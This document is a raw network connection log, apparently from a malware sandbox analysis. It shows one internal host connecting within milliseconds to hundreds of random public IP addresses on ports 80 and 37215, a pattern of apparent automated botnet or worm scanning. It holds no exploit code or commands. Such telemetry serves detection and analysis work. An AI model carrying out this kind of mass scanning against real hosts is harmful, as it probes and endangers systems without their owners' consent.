Dec 3, 2024 22:01:58.883420944 CET	39296	80	192.168.2.14	148.31.146.76
Dec 3, 2024 22:01:58.883420944 CET	39296	80	192.168.2.14	80.22.158.50
Dec 3, 2024 22:01:58.883424997 CET	39296	80	192.168.2.14	115.45.251.23
Dec 3, 2024 22:01:58.883428097 CET	39296	80	192.168.2.14	42.55.240.112
Dec 3, 2024 22:01:58.883440971 CET	39296	80	192.168.2.14	79.219.149.216
Dec 3, 2024 22:01:58.883441925 CET	39296	80	192.168.2.14	44.15.74.58
Dec 3, 2024 22:01:58.883459091 CET	39296	80	192.168.2.14	14.100.71.183
Dec 3, 2024 22:01:58.883481026 CET	39296	80	192.168.2.14	165.5.160.121
Dec 3, 2024 22:01:58.883481979 CET	39296	80	192.168.2.14	95.87.115.244
Dec 3, 2024 22:01:58.883507013 CET	40832	37215	192.168.2.14	197.131.221.28
Dec 3, 2024 22:01:58.883510113 CET	40832	37215	192.168.2.14	197.33.244.236
Dec 3, 2024 22:01:58.883510113 CET	39296	80	192.168.2.14	51.187.169.125
Dec 3, 2024 22:01:58.883510113 CET	39296	80	192.168.2.14	162.160.145.121
Dec 3, 2024 22:01:58.883513927 CET	39296	80	192.168.2.14	84.241.125.165
Dec 3, 2024 22:01:58.883513927 CET	39296	80	192.168.2.14	200.167.117.185
Dec 3, 2024 22:01:58.883513927 CET	39296	80	192.168.2.14	189.27.127.5
Dec 3, 2024 22:01:58.883513927 CET	40832	37215	192.168.2.14	156.10.222.234
Dec 3, 2024 22:01:58.883514881 CET	40832	37215	192.168.2.14	197.67.89.55
Dec 3, 2024 22:01:58.883517981 CET	39296	80	192.168.2.14	75.157.156.240
Dec 3, 2024 22:01:58.883518934 CET	39296	80	192.168.2.14	200.90.84.162
Dec 3, 2024 22:01:58.883536100 CET	39296	80	192.168.2.14	194.214.53.139
Dec 3, 2024 22:01:58.883538008 CET	39296	80	192.168.2.14	5.108.149.159
Dec 3, 2024 22:01:58.883548021 CET	40832	37215	192.168.2.14	41.108.41.189
Dec 3, 2024 22:01:58.883563995 CET	39296	80	192.168.2.14	175.105.30.163
Dec 3, 2024 22:01:58.883563995 CET	39296	80	192.168.2.14	136.230.11.188
Dec 3, 2024 22:01:58.883567095 CET	39296	80	192.168.2.14	94.130.133.140
Dec 3, 2024 22:01:58.883567095 CET	39296	80	192.168.2.14	186.105.47.180
Dec 3, 2024 22:01:58.883583069 CET	40832	37215	192.168.2.14	197.135.221.129
Dec 3, 2024 22:01:58.883589029 CET	40832	37215	192.168.2.14	197.72.175.250
Dec 3, 2024 22:01:58.883591890 CET	39296	80	192.168.2.14	34.103.229.141
Dec 3, 2024 22:01:58.883591890 CET	40832	37215	192.168.2.14	197.235.176.49
Dec 3, 2024 22:01:58.883599043 CET	40832	37215	192.168.2.14	156.247.34.144
Dec 3, 2024 22:01:58.883599043 CET	40832	37215	192.168.2.14	156.62.206.146
Dec 3, 2024 22:01:58.883610964 CET	40832	37215	192.168.2.14	197.72.1.191
Dec 3, 2024 22:01:58.883610964 CET	40832	37215	192.168.2.14	41.71.208.182
Dec 3, 2024 22:01:58.883625984 CET	40832	37215	192.168.2.14	41.6.226.229
Dec 3, 2024 22:01:58.883625984 CET	40832	37215	192.168.2.14	197.152.71.127
Dec 3, 2024 22:01:58.883625984 CET	40832	37215	192.168.2.14	41.153.108.223
Dec 3, 2024 22:01:58.883625984 CET	40832	37215	192.168.2.14	197.96.206.190
Dec 3, 2024 22:01:58.883627892 CET	39296	80	192.168.2.14	120.164.93.207
Dec 3, 2024 22:01:58.883627892 CET	39296	80	192.168.2.14	45.199.250.110
Dec 3, 2024 22:01:58.883630037 CET	40832	37215	192.168.2.14	156.249.181.192
Dec 3, 2024 22:01:58.883632898 CET	39296	80	192.168.2.14	146.186.57.36
Dec 3, 2024 22:01:58.883650064 CET	40832	37215	192.168.2.14	41.156.23.12
Dec 3, 2024 22:01:58.883652925 CET	40832	37215	192.168.2.14	197.112.139.146
Dec 3, 2024 22:01:58.883658886 CET	40832	37215	192.168.2.14	156.210.208.107
Dec 3, 2024 22:01:58.883660078 CET	40832	37215	192.168.2.14	197.159.217.130
Dec 3, 2024 22:01:58.883661032 CET	40832	37215	192.168.2.14	156.11.213.105
Dec 3, 2024 22:01:58.883661032 CET	40832	37215	192.168.2.14	41.212.82.165
Dec 3, 2024 22:01:58.883665085 CET	40832	37215	192.168.2.14	156.156.106.7
Dec 3, 2024 22:01:58.883677006 CET	40832	37215	192.168.2.14	41.75.20.158
Dec 3, 2024 22:01:58.883682966 CET	40832	37215	192.168.2.14	41.46.139.28
Dec 3, 2024 22:01:58.883686066 CET	40832	37215	192.168.2.14	41.181.254.14
Dec 3, 2024 22:01:58.883691072 CET	40832	37215	192.168.2.14	197.179.133.210
Dec 3, 2024 22:01:58.883707047 CET	40832	37215	192.168.2.14	197.57.107.28
Dec 3, 2024 22:01:58.883707047 CET	40832	37215	192.168.2.14	197.4.145.48
Dec 3, 2024 22:01:58.883714914 CET	40832	37215	192.168.2.14	41.241.187.250
Dec 3, 2024 22:01:58.883725882 CET	40832	37215	192.168.2.14	156.248.97.161
Dec 3, 2024 22:01:58.883735895 CET	40832	37215	192.168.2.14	156.104.25.197
Dec 3, 2024 22:01:58.883738041 CET	40832	37215	192.168.2.14	156.194.219.119
Dec 3, 2024 22:01:58.883764029 CET	40832	37215	192.168.2.14	156.84.122.32
Dec 3, 2024 22:01:58.883764029 CET	40832	37215	192.168.2.14	156.225.191.200
Dec 3, 2024 22:01:58.883764982 CET	40832	37215	192.168.2.14	156.16.132.97
Dec 3, 2024 22:01:58.883765936 CET	40832	37215	192.168.2.14	197.142.214.14
Dec 3, 2024 22:01:58.883764982 CET	40832	37215	192.168.2.14	197.155.202.190
Dec 3, 2024 22:01:58.883769989 CET	40832	37215	192.168.2.14	156.246.130.96
Dec 3, 2024 22:01:58.883769989 CET	40832	37215	192.168.2.14	197.224.189.19
Dec 3, 2024 22:01:58.883769989 CET	40832	37215	192.168.2.14	197.180.239.180
Dec 3, 2024 22:01:58.883773088 CET	40832	37215	192.168.2.14	41.151.101.242
Dec 3, 2024 22:01:58.883773088 CET	40832	37215	192.168.2.14	197.85.86.96
Dec 3, 2024 22:01:58.883774042 CET	40832	37215	192.168.2.14	41.39.76.120
Dec 3, 2024 22:01:58.883783102 CET	40832	37215	192.168.2.14	41.43.137.7
Dec 3, 2024 22:01:58.883783102 CET	40832	37215	192.168.2.14	41.123.85.87
Dec 3, 2024 22:01:58.883783102 CET	40832	37215	192.168.2.14	41.220.247.48
Dec 3, 2024 22:01:58.883784056 CET	40832	37215	192.168.2.14	41.153.64.154
Dec 3, 2024 22:01:58.883784056 CET	40832	37215	192.168.2.14	156.27.21.106
Dec 3, 2024 22:01:58.883785009 CET	40832	37215	192.168.2.14	41.78.165.107
Dec 3, 2024 22:01:58.883805037 CET	40832	37215	192.168.2.14	197.24.83.76
Dec 3, 2024 22:01:58.883806944 CET	40832	37215	192.168.2.14	41.239.161.89
Dec 3, 2024 22:01:58.883806944 CET	40832	37215	192.168.2.14	41.160.240.152
Dec 3, 2024 22:01:58.883810043 CET	40832	37215	192.168.2.14	156.103.31.155
Dec 3, 2024 22:01:58.883819103 CET	40832	37215	192.168.2.14	41.108.5.45
Dec 3, 2024 22:01:58.883827925 CET	40832	37215	192.168.2.14	197.30.245.141
Dec 3, 2024 22:01:58.883827925 CET	40832	37215	192.168.2.14	197.120.129.147
Dec 3, 2024 22:01:58.883827925 CET	40832	37215	192.168.2.14	41.98.40.184
Dec 3, 2024 22:01:58.883827925 CET	40832	37215	192.168.2.14	197.253.88.1
Dec 3, 2024 22:01:58.883845091 CET	40832	37215	192.168.2.14	156.86.237.80
Dec 3, 2024 22:01:58.883845091 CET	40832	37215	192.168.2.14	156.117.203.232
Dec 3, 2024 22:01:58.883845091 CET	40832	37215	192.168.2.14	41.177.206.103
Dec 3, 2024 22:01:58.883853912 CET	40832	37215	192.168.2.14	41.47.241.24
Dec 3, 2024 22:01:58.883857012 CET	40832	37215	192.168.2.14	156.49.117.58
Dec 3, 2024 22:01:58.883861065 CET	40832	37215	192.168.2.14	41.133.206.52
Dec 3, 2024 22:01:58.883877993 CET	40832	37215	192.168.2.14	197.172.152.145
Dec 3, 2024 22:01:58.883877993 CET	40832	37215	192.168.2.14	156.92.143.84
Dec 3, 2024 22:01:58.883882999 CET	40832	37215	192.168.2.14	41.171.201.85
Dec 3, 2024 22:01:58.883886099 CET	40832	37215	192.168.2.14	156.252.85.104
Dec 3, 2024 22:01:58.883886099 CET	40832	37215	192.168.2.14	197.154.40.45
Dec 3, 2024 22:01:58.883886099 CET	40832	37215	192.168.2.14	156.249.46.194
Dec 3, 2024 22:01:58.883886099 CET	40832	37215	192.168.2.14	156.45.230.59
Dec 3, 2024 22:01:58.883903027 CET	40832	37215	192.168.2.14	156.186.131.8
Dec 3, 2024 22:01:58.883903980 CET	40832	37215	192.168.2.14	41.236.41.145
Dec 3, 2024 22:01:58.883913040 CET	40832	37215	192.168.2.14	156.253.21.171
Dec 3, 2024 22:01:58.883930922 CET	40832	37215	192.168.2.14	41.112.171.140
Dec 3, 2024 22:01:58.883946896 CET	40832	37215	192.168.2.14	197.219.206.118
Dec 3, 2024 22:01:58.883949041 CET	40832	37215	192.168.2.14	156.39.31.35
Dec 3, 2024 22:01:58.883949041 CET	40832	37215	192.168.2.14	41.225.145.103
Dec 3, 2024 22:01:58.883949041 CET	40832	37215	192.168.2.14	41.24.104.107
Dec 3, 2024 22:01:58.883949041 CET	40832	37215	192.168.2.14	41.207.165.219
Dec 3, 2024 22:01:58.883950949 CET	40832	37215	192.168.2.14	156.195.219.209
Dec 3, 2024 22:01:58.883950949 CET	40832	37215	192.168.2.14	41.53.94.126
Dec 3, 2024 22:01:58.883950949 CET	40832	37215	192.168.2.14	156.55.104.162
Dec 3, 2024 22:01:58.883965015 CET	40832	37215	192.168.2.14	156.52.67.190
Dec 3, 2024 22:01:58.883966923 CET	40832	37215	192.168.2.14	156.162.57.201
Dec 3, 2024 22:01:58.883970976 CET	40832	37215	192.168.2.14	41.11.248.199
Dec 3, 2024 22:01:58.883984089 CET	40832	37215	192.168.2.14	41.137.103.171
Dec 3, 2024 22:01:58.884000063 CET	40832	37215	192.168.2.14	156.142.133.70
Dec 3, 2024 22:01:58.884005070 CET	40832	37215	192.168.2.14	156.157.190.89
Dec 3, 2024 22:01:58.884015083 CET	40832	37215	192.168.2.14	41.20.177.20
Dec 3, 2024 22:01:58.884015083 CET	40832	37215	192.168.2.14	156.52.12.36
Dec 3, 2024 22:01:58.884020090 CET	40832	37215	192.168.2.14	197.4.224.149
Dec 3, 2024 22:01:58.884021997 CET	40832	37215	192.168.2.14	197.212.187.57
Dec 3, 2024 22:01:58.884046078 CET	40832	37215	192.168.2.14	197.251.61.243
Dec 3, 2024 22:01:58.884046078 CET	40832	37215	192.168.2.14	197.215.13.45
Dec 3, 2024 22:01:58.884063005 CET	40832	37215	192.168.2.14	156.201.206.147
Dec 3, 2024 22:01:58.884063005 CET	40832	37215	192.168.2.14	156.216.242.188
Dec 3, 2024 22:01:58.884074926 CET	40832	37215	192.168.2.14	197.68.166.114
Dec 3, 2024 22:01:58.884079933 CET	40832	37215	192.168.2.14	41.163.29.168
Dec 3, 2024 22:01:58.884083033 CET	40832	37215	192.168.2.14	41.153.222.47
Dec 3, 2024 22:01:58.884083986 CET	40832	37215	192.168.2.14	156.65.15.198
Dec 3, 2024 22:01:58.884084940 CET	40832	37215	192.168.2.14	197.186.83.163
Dec 3, 2024 22:01:58.884084940 CET	40832	37215	192.168.2.14	41.167.152.30
Dec 3, 2024 22:01:58.884094000 CET	40832	37215	192.168.2.14	156.136.174.192
Dec 3, 2024 22:01:58.884102106 CET	40832	37215	192.168.2.14	41.91.175.85
Dec 3, 2024 22:01:58.884104967 CET	40832	37215	192.168.2.14	41.236.171.93
Dec 3, 2024 22:01:58.884120941 CET	40832	37215	192.168.2.14	156.255.58.217
Dec 3, 2024 22:01:58.884124994 CET	40832	37215	192.168.2.14	156.192.8.141
Dec 3, 2024 22:01:58.884126902 CET	40832	37215	192.168.2.14	197.144.227.30
Dec 3, 2024 22:01:58.884145975 CET	40832	37215	192.168.2.14	41.106.218.82
Dec 3, 2024 22:01:58.884147882 CET	40832	37215	192.168.2.14	197.82.163.87
Dec 3, 2024 22:01:58.884149075 CET	40832	37215	192.168.2.14	41.142.28.147
Dec 3, 2024 22:01:58.884166002 CET	40832	37215	192.168.2.14	197.88.49.109
Dec 3, 2024 22:01:58.884166002 CET	40832	37215	192.168.2.14	41.192.66.146
Dec 3, 2024 22:01:58.884176016 CET	40832	37215	192.168.2.14	156.77.34.39
Dec 3, 2024 22:01:58.884177923 CET	40832	37215	192.168.2.14	41.20.108.167
Dec 3, 2024 22:01:58.884181976 CET	40832	37215	192.168.2.14	197.9.73.239
Dec 3, 2024 22:01:58.884181976 CET	40832	37215	192.168.2.14	41.196.213.124
Dec 3, 2024 22:01:58.884195089 CET	40832	37215	192.168.2.14	156.200.16.106
Dec 3, 2024 22:01:58.884196043 CET	40832	37215	192.168.2.14	197.216.250.243
Dec 3, 2024 22:01:58.884200096 CET	40832	37215	192.168.2.14	156.61.182.128
Dec 3, 2024 22:01:58.884200096 CET	40832	37215	192.168.2.14	197.5.12.116
Dec 3, 2024 22:01:58.884212017 CET	40832	37215	192.168.2.14	156.150.228.147
Dec 3, 2024 22:01:58.884218931 CET	40832	37215	192.168.2.14	41.230.230.139
Dec 3, 2024 22:01:58.884219885 CET	40832	37215	192.168.2.14	156.236.221.80
Dec 3, 2024 22:01:58.884226084 CET	40832	37215	192.168.2.14	156.57.138.243
Dec 3, 2024 22:01:58.884232998 CET	40832	37215	192.168.2.14	197.82.27.225
Dec 3, 2024 22:01:58.884237051 CET	40832	37215	192.168.2.14	41.128.83.20
Dec 3, 2024 22:01:58.884237051 CET	40832	37215	192.168.2.14	197.226.5.43
Dec 3, 2024 22:01:58.884237051 CET	40832	37215	192.168.2.14	156.189.169.169
Dec 3, 2024 22:01:58.884249926 CET	40832	37215	192.168.2.14	41.185.72.107
Dec 3, 2024 22:01:58.884253025 CET	40832	37215	192.168.2.14	156.3.200.244
Dec 3, 2024 22:01:58.884257078 CET	40832	37215	192.168.2.14	156.56.12.58
Dec 3, 2024 22:01:58.884259939 CET	40832	37215	192.168.2.14	41.147.4.176
Dec 3, 2024 22:01:58.884263992 CET	40832	37215	192.168.2.14	197.153.172.193
Dec 3, 2024 22:01:58.884269953 CET	40832	37215	192.168.2.14	41.207.6.86
Dec 3, 2024 22:01:58.884273052 CET	40832	37215	192.168.2.14	41.66.78.132
Dec 3, 2024 22:01:58.884280920 CET	40832	37215	192.168.2.14	41.75.172.126
Dec 3, 2024 22:01:58.884280920 CET	40832	37215	192.168.2.14	197.238.10.207
Dec 3, 2024 22:01:58.884295940 CET	40832	37215	192.168.2.14	156.93.240.87
Dec 3, 2024 22:01:58.884295940 CET	40832	37215	192.168.2.14	41.125.77.152
Dec 3, 2024 22:01:58.884298086 CET	40832	37215	192.168.2.14	41.92.83.37
Dec 3, 2024 22:01:58.884304047 CET	40832	37215	192.168.2.14	156.207.63.223
Dec 3, 2024 22:01:58.884318113 CET	40832	37215	192.168.2.14	156.110.186.114
Dec 3, 2024 22:01:58.884321928 CET	40832	37215	192.168.2.14	41.230.9.241
Dec 3, 2024 22:01:58.884321928 CET	40832	37215	192.168.2.14	156.165.104.33
Dec 3, 2024 22:01:58.884321928 CET	40832	37215	192.168.2.14	197.154.15.69
Dec 3, 2024 22:01:58.884330988 CET	40832	37215	192.168.2.14	197.165.87.86
Dec 3, 2024 22:01:58.884339094 CET	40832	37215	192.168.2.14	156.6.83.113
Dec 3, 2024 22:01:58.884350061 CET	40832	37215	192.168.2.14	41.61.75.211
Dec 3, 2024 22:01:58.884350061 CET	40832	37215	192.168.2.14	41.83.51.148
Dec 3, 2024 22:01:58.884351969 CET	40832	37215	192.168.2.14	197.89.244.253
Dec 3, 2024 22:01:58.884350061 CET	40832	37215	192.168.2.14	156.210.112.183
Dec 3, 2024 22:01:58.884351015 CET	40832	37215	192.168.2.14	41.78.218.136
Dec 3, 2024 22:01:58.884361982 CET	40832	37215	192.168.2.14	41.250.65.142
Dec 3, 2024 22:01:58.884377003 CET	40832	37215	192.168.2.14	197.208.243.144
Dec 3, 2024 22:01:58.884382010 CET	40832	37215	192.168.2.14	41.193.160.252
Dec 3, 2024 22:01:58.884382963 CET	40832	37215	192.168.2.14	156.239.168.65
Dec 3, 2024 22:01:58.884399891 CET	40832	37215	192.168.2.14	41.15.192.92
Dec 3, 2024 22:01:58.884402990 CET	40832	37215	192.168.2.14	41.215.60.238
Dec 3, 2024 22:01:58.884402990 CET	40832	37215	192.168.2.14	197.201.177.129
Dec 3, 2024 22:01:58.884409904 CET	40832	37215	192.168.2.14	41.57.191.172
Dec 3, 2024 22:01:58.884419918 CET	40832	37215	192.168.2.14	197.167.116.43
Dec 3, 2024 22:01:58.884427071 CET	40832	37215	192.168.2.14	41.190.218.50
Dec 3, 2024 22:01:58.884427071 CET	40832	37215	192.168.2.14	197.144.179.188
Dec 3, 2024 22:01:58.884427071 CET	40832	37215	192.168.2.14	197.239.128.214
Dec 3, 2024 22:01:58.884459972 CET	40832	37215	192.168.2.14	156.234.114.249
Dec 3, 2024 22:01:58.884459972 CET	40832	37215	192.168.2.14	156.176.215.73
Dec 3, 2024 22:01:58.884463072 CET	40832	37215	192.168.2.14	41.220.116.99
Dec 3, 2024 22:01:58.884463072 CET	40832	37215	192.168.2.14	197.175.166.227
Dec 3, 2024 22:01:58.884463072 CET	40832	37215	192.168.2.14	156.200.132.221
Dec 3, 2024 22:01:58.884463072 CET	40832	37215	192.168.2.14	41.181.161.58
Dec 3, 2024 22:01:58.884464979 CET	40832	37215	192.168.2.14	197.91.228.72
Dec 3, 2024 22:01:58.884464979 CET	40832	37215	192.168.2.14	41.236.63.180
Dec 3, 2024 22:01:58.884465933 CET	40832	37215	192.168.2.14	197.255.170.211
Dec 3, 2024 22:01:58.884464979 CET	40832	37215	192.168.2.14	197.31.127.113
Dec 3, 2024 22:01:58.884465933 CET	40832	37215	192.168.2.14	197.9.184.73
Dec 3, 2024 22:01:58.884471893 CET	40832	37215	192.168.2.14	156.176.213.101
Dec 3, 2024 22:01:58.884471893 CET	40832	37215	192.168.2.14	41.82.171.58
Dec 3, 2024 22:01:58.884475946 CET	40832	37215	192.168.2.14	41.193.38.157
Dec 3, 2024 22:01:58.884478092 CET	40832	37215	192.168.2.14	41.78.190.152
Dec 3, 2024 22:01:58.884478092 CET	40832	37215	192.168.2.14	41.172.150.248
Dec 3, 2024 22:01:58.884479046 CET	40832	37215	192.168.2.14	41.75.10.101
Dec 3, 2024 22:01:58.884478092 CET	40832	37215	192.168.2.14	197.202.85.49
Dec 3, 2024 22:01:58.884479046 CET	40832	37215	192.168.2.14	197.106.236.35
Dec 3, 2024 22:01:58.884478092 CET	40832	37215	192.168.2.14	41.64.71.7
Dec 3, 2024 22:01:58.884493113 CET	40832	37215	192.168.2.14	197.81.224.155
Dec 3, 2024 22:01:58.884495974 CET	40832	37215	192.168.2.14	41.126.243.53
Dec 3, 2024 22:01:58.884495974 CET	40832	37215	192.168.2.14	197.87.234.10
Dec 3, 2024 22:01:58.884506941 CET	40832	37215	192.168.2.14	156.113.112.79
Dec 3, 2024 22:01:58.884511948 CET	40832	37215	192.168.2.14	156.148.44.13
Dec 3, 2024 22:01:58.884514093 CET	40832	37215	192.168.2.14	41.223.143.226
Dec 3, 2024 22:01:58.884514093 CET	40832	37215	192.168.2.14	197.182.128.194
Dec 3, 2024 22:01:58.884514093 CET	40832	37215	192.168.2.14	41.88.10.8
Dec 3, 2024 22:01:58.884520054 CET	40832	37215	192.168.2.14	156.226.229.251
Dec 3, 2024 22:01:58.884525061 CET	40832	37215	192.168.2.14	156.7.206.93
Dec 3, 2024 22:01:58.884533882 CET	40832	37215	192.168.2.14	41.113.234.175
Dec 3, 2024 22:01:58.884536028 CET	40832	37215	192.168.2.14	156.127.142.178
Dec 3, 2024 22:01:58.884536028 CET	40832	37215	192.168.2.14	197.196.219.59
Dec 3, 2024 22:01:58.884540081 CET	40832	37215	192.168.2.14	156.214.133.70
Dec 3, 2024 22:01:58.884541988 CET	40832	37215	192.168.2.14	197.246.176.86
Dec 3, 2024 22:01:58.884546995 CET	40832	37215	192.168.2.14	197.133.179.95
Dec 3, 2024 22:01:58.884556055 CET	40832	37215	192.168.2.14	41.16.154.115
Dec 3, 2024 22:01:58.884557009 CET	40832	37215	192.168.2.14	41.254.174.57
Dec 3, 2024 22:01:58.884557009 CET	40832	37215	192.168.2.14	41.190.51.145
Dec 3, 2024 22:01:58.884569883 CET	40832	37215	192.168.2.14	197.124.172.184
Dec 3, 2024 22:01:58.884572983 CET	40832	37215	192.168.2.14	197.218.175.110
Dec 3, 2024 22:01:58.884582996 CET	40832	37215	192.168.2.14	197.130.118.32
Dec 3, 2024 22:01:58.884592056 CET	40832	37215	192.168.2.14	156.235.182.56
Dec 3, 2024 22:01:58.884593010 CET	40832	37215	192.168.2.14	156.208.188.176
Dec 3, 2024 22:01:58.884603024 CET	40832	37215	192.168.2.14	156.177.191.7
Dec 3, 2024 22:01:58.884603977 CET	40832	37215	192.168.2.14	156.80.209.203
Dec 3, 2024 22:01:58.884604931 CET	40832	37215	192.168.2.14	41.134.205.232
Dec 3, 2024 22:01:58.884613991 CET	40832	37215	192.168.2.14	156.82.64.76
Dec 3, 2024 22:01:58.884613991 CET	40832	37215	192.168.2.14	41.155.60.247
Dec 3, 2024 22:01:58.884624004 CET	40832	37215	192.168.2.14	156.104.106.19
Dec 3, 2024 22:01:58.884632111 CET	40832	37215	192.168.2.14	41.167.88.214
Dec 3, 2024 22:01:58.884635925 CET	40832	37215	192.168.2.14	156.173.179.65
Dec 3, 2024 22:01:58.884638071 CET	40832	37215	192.168.2.14	41.230.20.88
Dec 3, 2024 22:01:58.884639978 CET	40832	37215	192.168.2.14	197.141.173.152
Dec 3, 2024 22:01:58.884641886 CET	40832	37215	192.168.2.14	41.51.41.80
Dec 3, 2024 22:01:58.884665966 CET	40832	37215	192.168.2.14	41.187.178.82
Dec 3, 2024 22:01:58.884716988 CET	40832	37215	192.168.2.14	156.120.163.155
Dec 3, 2024 22:01:58.884717941 CET	40832	37215	192.168.2.14	197.249.146.171
Dec 3, 2024 22:01:58.884730101 CET	40832	37215	192.168.2.14	41.181.134.2
Dec 3, 2024 22:01:58.884730101 CET	40832	37215	192.168.2.14	41.150.186.152
Dec 3, 2024 22:01:58.884732008 CET	40832	37215	192.168.2.14	41.87.165.52
Dec 3, 2024 22:01:58.884747028 CET	40832	37215	192.168.2.14	41.218.163.47
Dec 3, 2024 22:01:58.884747028 CET	40832	37215	192.168.2.14	156.130.161.0
Dec 3, 2024 22:01:58.884751081 CET	40832	37215	192.168.2.14	197.213.30.62
Dec 3, 2024 22:01:58.884751081 CET	40832	37215	192.168.2.14	156.45.61.34
Dec 3, 2024 22:01:58.884752989 CET	40832	37215	192.168.2.14	41.206.124.249
Dec 3, 2024 22:01:58.884758949 CET	40832	37215	192.168.2.14	197.208.252.203
Dec 3, 2024 22:01:58.884761095 CET	40832	37215	192.168.2.14	156.111.116.157
Dec 3, 2024 22:01:58.884771109 CET	40832	37215	192.168.2.14	156.227.155.56
Dec 3, 2024 22:01:58.884776115 CET	40832	37215	192.168.2.14	197.63.244.178
Dec 3, 2024 22:01:58.884789944 CET	40832	37215	192.168.2.14	41.151.126.163
Dec 3, 2024 22:01:58.884792089 CET	40832	37215	192.168.2.14	41.226.54.3
Dec 3, 2024 22:01:58.884810925 CET	40832	37215	192.168.2.14	41.77.114.217
Dec 3, 2024 22:01:58.884810925 CET	40832	37215	192.168.2.14	156.175.163.46
Dec 3, 2024 22:01:58.884813070 CET	40832	37215	192.168.2.14	197.62.82.246
Dec 3, 2024 22:01:58.884814978 CET	40832	37215	192.168.2.14	156.16.8.61
Dec 3, 2024 22:01:58.884814978 CET	40832	37215	192.168.2.14	41.145.158.208
Dec 3, 2024 22:01:58.884816885 CET	40832	37215	192.168.2.14	41.26.37.59
Dec 3, 2024 22:01:58.884823084 CET	40832	37215	192.168.2.14	197.157.9.191
Dec 3, 2024 22:01:58.884826899 CET	40832	37215	192.168.2.14	41.84.11.149
Dec 3, 2024 22:01:58.884826899 CET	40832	37215	192.168.2.14	197.202.46.147
Dec 3, 2024 22:01:58.884831905 CET	40832	37215	192.168.2.14	197.18.60.204
Dec 3, 2024 22:01:58.884843111 CET	40832	37215	192.168.2.14	156.223.30.227
Dec 3, 2024 22:01:58.884843111 CET	40832	37215	192.168.2.14	197.137.120.219
Dec 3, 2024 22:01:58.884856939 CET	40832	37215	192.168.2.14	156.49.25.56
Dec 3, 2024 22:01:58.884859085 CET	40832	37215	192.168.2.14	197.106.9.40
Dec 3, 2024 22:01:58.884864092 CET	40832	37215	192.168.2.14	41.109.89.139
Dec 3, 2024 22:01:58.884865046 CET	40832	37215	192.168.2.14	197.6.162.51
Dec 3, 2024 22:01:58.884880066 CET	40832	37215	192.168.2.14	156.98.103.49
Dec 3, 2024 22:01:58.884882927 CET	40832	37215	192.168.2.14	41.228.34.175
Dec 3, 2024 22:01:58.884882927 CET	40832	37215	192.168.2.14	197.140.99.97
Dec 3, 2024 22:01:58.884891987 CET	40832	37215	192.168.2.14	156.60.34.33
Dec 3, 2024 22:01:58.884902000 CET	40832	37215	192.168.2.14	156.195.121.189
Dec 3, 2024 22:01:58.884902000 CET	40832	37215	192.168.2.14	41.237.90.10
Dec 3, 2024 22:01:58.884907007 CET	40832	37215	192.168.2.14	41.183.86.247
Dec 3, 2024 22:01:58.884928942 CET	40832	37215	192.168.2.14	156.120.238.128
Dec 3, 2024 22:01:58.884941101 CET	40832	37215	192.168.2.14	41.152.49.12
Dec 3, 2024 22:01:58.884942055 CET	40832	37215	192.168.2.14	197.18.8.114
Dec 3, 2024 22:01:58.884943008 CET	40832	37215	192.168.2.14	156.111.43.73
Dec 3, 2024 22:01:58.884944916 CET	40832	37215	192.168.2.14	41.144.35.76
Dec 3, 2024 22:01:58.884951115 CET	40832	37215	192.168.2.14	156.164.124.14
Dec 3, 2024 22:01:58.884957075 CET	40832	37215	192.168.2.14	41.170.3.20
Dec 3, 2024 22:01:58.884965897 CET	40832	37215	192.168.2.14	156.42.154.197
Dec 3, 2024 22:01:58.884968996 CET	40832	37215	192.168.2.14	156.55.176.148
Dec 3, 2024 22:01:58.884968996 CET	40832	37215	192.168.2.14	41.108.124.108
Dec 3, 2024 22:01:58.884983063 CET	40832	37215	192.168.2.14	156.239.37.68
Dec 3, 2024 22:01:58.884983063 CET	40832	37215	192.168.2.14	41.144.168.154
Dec 3, 2024 22:01:58.884983063 CET	40832	37215	192.168.2.14	41.248.5.2
Dec 3, 2024 22:01:58.884985924 CET	40832	37215	192.168.2.14	197.127.132.52
Dec 3, 2024 22:01:58.884996891 CET	40832	37215	192.168.2.14	41.127.233.81
Dec 3, 2024 22:01:58.884998083 CET	40832	37215	192.168.2.14	156.111.116.205
Dec 3, 2024 22:01:58.885004997 CET	40832	37215	192.168.2.14	41.169.13.41
Dec 3, 2024 22:01:58.885015965 CET	40832	37215	192.168.2.14	156.118.251.58
Dec 3, 2024 22:01:58.885015965 CET	40832	37215	192.168.2.14	197.174.199.130
Dec 3, 2024 22:01:58.885024071 CET	40832	37215	192.168.2.14	197.14.36.48
Dec 3, 2024 22:01:58.885040998 CET	40832	37215	192.168.2.14	197.166.119.28
Dec 3, 2024 22:01:58.885041952 CET	40832	37215	192.168.2.14	41.221.240.44
Dec 3, 2024 22:01:58.885051012 CET	40832	37215	192.168.2.14	156.143.45.33
Dec 3, 2024 22:01:58.885051966 CET	40832	37215	192.168.2.14	41.229.38.131
Dec 3, 2024 22:01:58.885060072 CET	40832	37215	192.168.2.14	197.114.77.149
Dec 3, 2024 22:01:58.885061979 CET	40832	37215	192.168.2.14	41.95.175.2
Dec 3, 2024 22:01:58.885062933 CET	40832	37215	192.168.2.14	197.241.102.161
Dec 3, 2024 22:01:58.885070086 CET	40832	37215	192.168.2.14	156.195.161.111
Dec 3, 2024 22:01:58.885071993 CET	40832	37215	192.168.2.14	156.41.178.17
Dec 3, 2024 22:01:58.885093927 CET	40832	37215	192.168.2.14	41.233.168.202
Dec 3, 2024 22:01:58.885096073 CET	40832	37215	192.168.2.14	156.66.222.117
Dec 3, 2024 22:01:58.885099888 CET	40832	37215	192.168.2.14	197.15.72.59
Dec 3, 2024 22:01:58.885099888 CET	40832	37215	192.168.2.14	197.222.168.130
Dec 3, 2024 22:01:58.885106087 CET	40832	37215	192.168.2.14	41.85.8.141
Dec 3, 2024 22:01:58.885113955 CET	40832	37215	192.168.2.14	41.249.195.70
Dec 3, 2024 22:01:58.885138988 CET	40832	37215	192.168.2.14	156.61.180.15
Dec 3, 2024 22:01:58.885138988 CET	40832	37215	192.168.2.14	197.98.67.144
Dec 3, 2024 22:01:58.885140896 CET	40832	37215	192.168.2.14	41.23.199.142
Dec 3, 2024 22:01:58.885149956 CET	40832	37215	192.168.2.14	41.20.71.238
Dec 3, 2024 22:01:58.885150909 CET	40832	37215	192.168.2.14	156.191.145.216
Dec 3, 2024 22:01:58.885153055 CET	40832	37215	192.168.2.14	156.20.185.198
Dec 3, 2024 22:01:58.885171890 CET	40832	37215	192.168.2.14	197.225.33.108
Dec 3, 2024 22:01:58.885181904 CET	40832	37215	192.168.2.14	156.17.10.252
Dec 3, 2024 22:01:58.885185957 CET	40832	37215	192.168.2.14	197.75.123.251
